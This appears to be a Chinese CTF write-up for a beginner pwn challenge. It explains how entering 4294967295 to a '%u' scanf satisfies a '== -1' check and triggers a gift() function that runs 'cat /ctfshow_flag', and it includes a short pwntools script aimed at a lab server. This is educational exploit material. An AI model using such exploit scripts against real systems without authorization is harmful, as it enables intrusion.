这里的0 ~ 0x7fffffff就是 0~2147483647 ,
0x80000000 ~ 0xffffffff就是 -2147483648 ~ -1

from pwn import *

# 设置环境
context(arch='amd64', os='linux', log_level='debug')

# 连接服务器(根据题目提示修改端口)
p = remote('10.190.131.17', 61862) # 示例端口

# 等待提示
p.recvuntil(b"Enter an unsigned integer: ")

# 发送目标数字
p.sendline(b"4294967295") # 或 b"-1" 在某些环境下也可

# 接收flag
print(p.recvall().decode())

这道题涉及整数溢出漏洞利用,目标是通过输入特定数字触发gift()函数获取flag。以下是完整的解题步骤:

漏洞分析

  1. 关键代码
    printf(“Enter an unsigned integer: “);
    _isoc99_scanf(“%u”, &v4); // 读取无符号整数
    if (v4 == -1) // -1在无符号中等于4294967295
    gift(); // 触发flag输出
  2. 整数溢出原理
    • v4unsigned int类型(4字节)
    • -1在内存中被解释为无符号整数的最大值:0xFFFFFFFF(4294967295)
    • 输入4294967295可使条件v4 == -1成立
  3. 防护机制
    Full RELRO | Canary | NX | PIE
    虽然防护较强,但无需绕过这些保护,因为利用不涉及栈溢出

利用步骤

  1. 计算目标值
    4294967295 = 2³² - 1 = 0xFFFFFFFF
  2. 触发gift函数
    • 当输入4294967295时:
      v4 = 4294967295 = 0xFFFFFFFF
      v4 == -1 → True // 因为-1在无符号中就是0xFFFFFFFF
    • 执行system("cat /ctfshow_flag")